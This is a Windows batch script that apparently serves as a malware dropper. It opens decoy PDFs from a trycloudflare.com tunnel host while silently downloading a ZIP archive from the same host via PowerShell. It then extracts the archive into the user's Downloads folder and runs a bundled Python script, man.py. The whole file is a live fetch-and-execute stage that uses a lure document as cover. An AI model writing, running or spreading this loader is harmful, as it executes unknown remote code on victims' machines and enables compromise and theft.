@echo off setlocal echo Opening PDF file... start "" "https://louise-monitors-mo-rating.trycloudflare.com/a.pdf" timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed) :: Variables set "zipUrl=https://louise-monitors-mo-rating.trycloudflare.com/qfv0ao.zip" set "destination=%USERPROFILE%\Downloads\qfv0ao.zip" set "extractTo=%USERPROFILE%\Downloads" :: Use Invoke-WebRequest to download the file powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }" :: Extract the ZIP file using Expand-Archive powershell -Command "& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }" :: Navigate to the Python folder and run the script cd /d "%Userprofile%\Downloads\qfv0ao\App\Python" python.exe man.py echo Opening PDF file... start "" "https://louise-monitors-mo-rating.trycloudflare.com/b.pdf" timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed) :: End of script endlocal